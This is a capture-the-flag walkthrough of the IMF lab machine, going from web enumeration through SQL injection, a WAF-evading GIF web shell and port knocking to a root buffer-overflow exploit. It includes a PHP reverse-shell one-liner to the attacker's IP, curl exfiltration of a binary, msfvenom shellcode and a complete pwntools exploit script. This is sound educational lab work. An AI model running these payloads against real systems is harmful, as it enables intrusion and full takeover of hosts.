Contents

IMF

IMF is a boot2root mcahine that contains many flags. After each flag, the difficulty is increased. This machine starts with web and ends with a buffer overflow.

Enumeration

Nmap port scan

Nmap scan shows that on port 80 an Apache webserver is running.


$ sudo nmap -sSCV 172.16.115.128 -v
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 14:46 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:46
Completed NSE at 14:46, 0.00s elapsed
Initiating NSE at 14:46
Completed NSE at 14:46, 0.00s elapsed
Initiating NSE at 14:46
Completed NSE at 14:46, 0.00s elapsed
Initiating ARP Ping Scan at 14:46
Scanning 172.16.115.128 [1 port]
Completed ARP Ping Scan at 14:46, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:46
Completed Parallel DNS resolution of 1 host. at 14:46, 6.54s elapsed
Initiating SYN Stealth Scan at 14:46
Scanning 172.16.115.128 [1000 ports]
Discovered open port 80/tcp on 172.16.115.128
Completed SYN Stealth Scan at 14:46, 4.78s elapsed (1000 total ports)
Initiating Service scan at 14:46
Scanning 1 service on 172.16.115.128
Completed Service scan at 14:47, 6.08s elapsed (1 service on 1 host)
NSE: Script scanning 172.16.115.128.
Initiating NSE at 14:47
Completed NSE at 14:47, 5.02s elapsed
Initiating NSE at 14:47
Completed NSE at 14:47, 0.01s elapsed
Initiating NSE at 14:47
Completed NSE at 14:47, 0.00s elapsed
Nmap scan report for 172.16.115.128
Host is up (0.0010s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: IMF - Homepage
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:11:B8:1D (VMware)

Visiting the page shows the following
https://i.imgur.com/9yQIV13.png

Flag 1

On the Contact Us page the first flag shows in the inspect element section.
https://i.imgur.com/Y2n8Psk.png

flag1{YWxsdGhlZmlsZXM=}
This is base64 and decodes to allthefiles

Flag 2

With the hint from the first flag, I inspect the javascript files. There are 3 suspicious files. Especially one of them looks like base64 because of the ending == in the filename, since base64 strings often end with this for padding. Read this if you want an explanation why.
https://i.imgur.com/thNOiUn.png

Combining these three strings togeher gives me the following string:
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==


$ echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' | base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg==} 

Decoding the flag gives the following: imfadministrator

Flag 3

The hint from the last flag is an hidden endpoint to login.
https://i.imgur.com/Y30MUtg.png

Inspecting the page reveals the following comment
https://i.imgur.com/N9jiFb0.png

This leeds me to this article from Hacktricks about bypassing PHP comparisons.
https://i.imgur.com/oRJ66RU.png

What this tells us to do is change the name="pass" field in the form to name="pass[].

https://i.imgur.com/xjJcUqt.png

Remember that on the service page /contant.php on the main website there were some names shown.
https://i.imgur.com/Ix9xyqR.png

The tool CeWL can be used to generate a wordlist.


$ cewl http://172.16.115.128/contact.php -d 4 -m 6 --lowercase -w names.wordlist

Then any tool can be used to try all the combinations, which are only 78.

$ wc -l names.wordlist 
78 names.wordlist

After trying rmichaels seemed to working and we are redirected to the page containing the flag.
https://i.imgur.com/Y5GR0yI.png

The flag flag3{Y29udGludWVUT2Ntcw==} decodes to continueTOcms.

Flag 4

The dashboard we are redirected to when we click IMF CMS contains a strange URL structure pagename=home.
https://i.imgur.com/a3vDXln.png

Putting a single quote ' there gives the following output
https://i.imgur.com/OYb5SPx.png

High chance that this contains a sql vulnerability. I spin up sqlmap , but don’t forget to get the php cookie uljlgrmgg3ut9jmfoikejsvrc0 from the devtools, since we need to be authenticated to see this page.


$ sqlmap -u "http://172.16.115.128/imfadministrator/cms.php?pagename=home" --dbms mysql --cookie "PHPSESSID=uljlgrmgg3ut9jmfoikejsvrc0" --dump

Sqlmap found a vulnerability and retrieves all the information. After looking around the database a bit I found the interesting part, which reveals another endpoint /tutorials-incomplete (scroll to the right).


+----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+
| id | pagedata                                                                                                                                                              | pagename             |
+----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+
| 1  | Under Construction.                                                                                                                                                   | upload               |
| 2  | Welcome to the IMF Administration.                                                                                                                                    | home                 |
| 3  | Training classrooms available. 

Contact us for training. | tutorials-incomplete | | 4 |

Disavowed List


  • *********
  • ****** ******
  • *******
  • **** ********

-Secretary | disavowlist | +----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+

This page shows a QR code
https://i.imgur.com/9S2WYRh.jpeg

Scanning the QR code gives the fourth flag flag4{dXBsb2Fkcjk0Mi5waHA=} which decodes to uploadr942.php

Flag 5

At the /uploadr942.php endpoint there is a upload form.
https://i.imgur.com/C75L750.png

Trying to upload the default pentestmonkey PHP reverse shell gives an error invalid file type.
https://i.imgur.com/xjdwoau.png

After trying a couple different files, I found out that i can upload GIF images without any error. Now the next point is finding out where my uploaded GIF is stored. After a file is uploaded succesfully, the html on the page changes as can be seen in the two pictures below.
Before uploading:
https://i.imgur.com/IUoaaki.png

After uploading a comment appears that seems to be the filename.
https://i.imgur.com/totQ87t.png

The file appears to be uploaded at /imfadministrator/uploads/8e1064d0df99.gif.

Changing the php reverse shell to a gif extension phpshell.gif, shows that a the WAF detects it and blocks the upload.
https://i.imgur.com/ipicaMp.png

In order to restrict this I look for file signatures extensions that I can use to bypass this filter. I end up with the following script that is just a simple php web shell. \x73\x79\x73\x74\x65\x6d is system is hexadecimal, so it isn’t detected by the WAF.


$ cat php_shell.gif                  
GIF87a;


After uploading this file I successfully execute commands.
https://i.imgur.com/PmDBXrn.png

Now instead of the cmd commands I start a nc listener on my host machine


$ nc -lnvp 4444       
listening on [any] 4444 ...

And on the webpage I pass my reverse shell URL encoded.

Plain:
php -r '$sock=fsockopen("172.16.115.129",4444);exec("bash <&3 >&3 2>&3");'
URL encoded:
php%20-r%20%27%24sock%3Dfsockopen%28%22172.16.115.129%22%2C4444%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

Passing this in the URL gives the following final URL

http://172.16.115.128/imfadministrator/uploads/d595e1a66bdc.gif?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22172.16.115.129%22%2C4444%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

This successfully gives me a reverse shell, from where I also print flag 5.


$ nc -lnvp 4444       
listening on [any] 4444 ...
connect to [172.16.115.129] from (UNKNOWN) [172.16.115.128] 49224
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls

cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}

Flag 5 decoded: agentservices

Flag 6

Before continuing I upgrade this awful shell to an interactive one using a python3 trick I will write another post about. With this interactive shell i can use CTR+C, arrow keys and more.


python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@imf:/var/www/html/imfadministrator/uploads$ ^Z
zsh: suspended  nc -lnvp 4444
                                                                                 
┌──(fabian㉿68616861)-[~/Documents/mike/IMF]
└─$ stty raw -echo;fg                
[1]  + continued  nc -lnvp 4444

www-data@imf:/var/www/html/imfadministrator/uploads$ 
www-data@imf:/var/www/html/imfadministrator/uploads$ 

Running netstat -antp shows a local port at 7788.


www-data@imf:/var/www/html/imfadministrator/uploads$ netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:7788            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0    280 172.16.115.128:49224    172.16.115.129:4444     ESTABLISHED 1552/php        
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
tcp6       0      0 172.16.115.128:80       172.16.115.129:33826    ESTABLISHED - 

Running cURL on the page gives the following output with Invalid Agent ID


www-data@imf:/var/www/html/imfadministrator/uploads$ curl 127.0.0.1:7788
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : Invalid Agent ID 

Running whereis agent, also from the hint, gives the following binary path.


www-data@imf:/var/www/html/imfadministrator/uploads$ whereis agent
agent: /usr/local/bin/agent

Running the binary, I can give input and it returns invalid agent ID


www-data@imf:/var/www/html/imfadministrator/uploads$ /usr/local/bin/agent
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 555
Invalid Agent ID 

Going to the location of the binary, there is another file called access_codes.


www-data@imf:/usr/local/bin$ ls -la
total 24
drwxr-xr-x  2 root root  4096 Oct 16  2016 .
drwxr-xr-x 10 root root  4096 Sep 22  2016 ..
-rw-r--r--  1 root root    19 Oct 16  2016 access_codes
-rwxr-xr-x  1 root root 11896 Oct 12  2016 agent
www-data@imf:/usr/local/bin$ cat access_codes
SYN 7482,8279,9467

this contains the following information SYN 7482,8279,9467. SYN is for a SYN request, probably a portknock.

$ knock 172.16.115.128 7482 8279 9467

After port knocking it, port 7788 is opened!

$ sudo nmap -sS -p 7788 172.16.115.128 -v
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 17:31 EDT
Initiating ARP Ping Scan at 17:31
Scanning 172.16.115.128 [1 port]
Completed ARP Ping Scan at 17:31, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:31
Completed Parallel DNS resolution of 1 host. at 17:31, 6.51s elapsed
Initiating SYN Stealth Scan at 17:31
Scanning 172.16.115.128 [1 port]
Discovered open port 7788/tcp on 172.16.115.128
Completed SYN Stealth Scan at 17:31, 0.02s elapsed (1 total ports)
Nmap scan report for 172.16.115.128
Host is up (0.00055s latency).

PORT     STATE SERVICE
7788/tcp open  unknown
MAC Address: 00:0C:29:11:B8:1D (VMware)

Now I can remotely connect with the binary


$ nc 172.16.115.128 7788
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 

To transfer the binary I use python uploadserver on my Kali machine.


$ python3 -m uploadserver

From the machine with the agent binary I make the following curl request to transfer the binary to my Kali machine.


www-data@imf:/usr/local/bin$ curl -X POST http://172.16.115.129:8000/upload -F 'files=@agent'

Now I have the binary locally, so I can inspect it better using my favorite tools; checksec, Ghidra and GEF .

Checksec is used to check the binary security settings.


$ checksec agent 
[*] '/home/fabian/Documents/mike/IMF/binary/agent'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

Ghidra detects it as a x86 file.
https://i.imgur.com/W96ojeW.png

Ghidra automatically loads us into the main function.
https://i.imgur.com/MBwRKMJ.png

Changing the names of the important variables easily shows the logic. All we have to do is to get a 0 from the bool_strncmp, that means the strings that are being compared are the same. In the strncmp function, the first 8 characters of our_input and local_28 are being compared against each other. our_input contains our input from the fgets functions. On line 16 asprintf dynamically allocates memory for local_28 and format the ‘string’ 48093572 into that memory. So if we input 48093572 we should get into the main menu.
https://i.imgur.com/URIhsMr.png

And yes, we validate successfully.


 ./agent
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 48093572
Login Validated 
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 

Trying some options shows a zsh: segmentation fault in menu option 3. Submit Report.


$ ./agent 48093572
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 48093572
Login Validated 
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3

Enter report update: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Report: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Submitted for review.
zsh: segmentation fault  ./agent 48093572

In Ghidra we can also see the dangerous gets function.
https://i.imgur.com/xAeCIIP.png

I start gef to dynamically analyze the binary.
I first generate a pattern to be able to identify the exact offset.


gef➤  pattern create 200
[+] Generating a pattern of 200 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] Saved as '$_gef0'

Running the binary and giving that as input to menu option 3, shows our eip value.
https://i.imgur.com/3bAYZ1D.png

Passing this back to gef to calculate the offset


gef➤  pattern search 0x62616172
[+] Searching '0x62616172'
[+] Found at offset 168 (little-endian search) likely

Using python3 to generate a string to verify this offset of 168


$ python3
>>> print ('A'*168 + 'B'*4)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Passing that in menu option 3 shows exactly what we expect to see, namely our B’s
https://i.imgur.com/F8szCRA.png

Now it is time to add the shellcode. We can also see in the picture above that all our A’s are in the eax register. This means we just need to find a jmp eax instruction which address we place instead of the B’s to execute our shellcode. There is a call eax at 0x8048563
https://i.imgur.com/kBDeS52.png

Now I need to generate a reverse shell using mfsvenom. Note the /x86 for the correct architecture. Also note the -b "\x00" to make sure there are no null bytes in the shellcode.


msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.115.129 LPORT=6666 -f python -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 479 bytes
buf =  b""
buf += b"\xb8\xb2\x0c\x24\xae\xdb\xc7\xd9\x74\x24\xf4\x5b"
buf += b"\x29\xc9\xb1\x12\x31\x43\x12\x83\xc3\x04\x03\xf1"
buf += b"\x02\xc6\x5b\xc4\xc1\xf1\x47\x75\xb5\xae\xed\x7b"
buf += b"\xb0\xb0\x42\x1d\x0f\xb2\x30\xb8\x3f\x8c\xfb\xba"
buf += b"\x09\x8a\xfa\xd2\x25\x7c\x8e\xa3\x5e\x7f\x70\xb9"
buf += b"\x94\xf6\x91\x0d\xce\x58\x03\x3e\xbc\x5a\x2a\x21"
buf += b"\x0f\xdc\x7e\xc9\xfe\xf2\x0d\x61\x97\x23\xdd\x13"
buf += b"\x0e\xb5\xc2\x81\x83\x4c\xe5\x95\x2f\x82\x66"

I then wrote the following script to automate the exploit using pwntools .

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python3

import sys
import socket
from pwn import *

agentcode = b"48093572" # used to login
menuoption = b"3"
offset = 168 # offset we got and tested
eip = b"\x63\x85\x04\x08" #call eax address 0x08 04 85 63

#MSFvenom generated shellcode below
buf =  b""
buf += b"\xbe\x86\x0e\x52\x42\xd9\xe8\xd9\x74\x24\xf4\x5d"
buf += b"\x31\xc9\xb1\x12\x31\x75\x12\x03\x75\x12\x83\x6b"
buf += b"\xf2\xb0\xb7\x42\xd0\xc2\xdb\xf7\xa5\x7f\x76\xf5"
buf += b"\xa0\x61\x36\x9f\x7f\xe1\xa4\x06\x30\xdd\x07\x38"
buf += b"\x79\x5b\x61\x50\xd6\x8b\xe2\x21\x4e\xae\x04\x3b"
buf += b"\x85\x27\xe5\x8b\xff\x67\xb7\xb8\x4c\x84\xbe\xdf"
buf += b"\x7e\x0b\x92\x77\xef\x23\x60\xef\x87\x14\xa9\x8d"
buf += b"\x3e\xe2\x56\x03\x92\x7d\x79\x13\x1f\xb3\xfa"

payload =  buf + b"\x90" * (offset - len(buf)) + eip

try:
	conn = remote('172.16.115.128', 7788)
	conn.recvuntil(b':')
	conn.sendline(agentcode)
	conn.recvuntil(b'selection:')
	conn.sendline(menuoption)
	conn.recvuntil(b'update:')

	#overflow code
	conn.sendline(payload)
	conn.recvall()
	print("Finished")

except Exception as e:
	print(f"Error {e}")

Running the script successfully gives root and the final flag can be printed.


$ nc -lnvp 6666
listening on [any] 6666 ...
connect to [172.16.115.129] from (UNKNOWN) [172.16.115.128] 42278
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
Flag.txt
TheEnd.txt
cat Flag.txt
flag6{R2gwc3RQcm90MGMwbHM=}

And final flag, flag6 can be decoded to Gh0stProt0c0ls.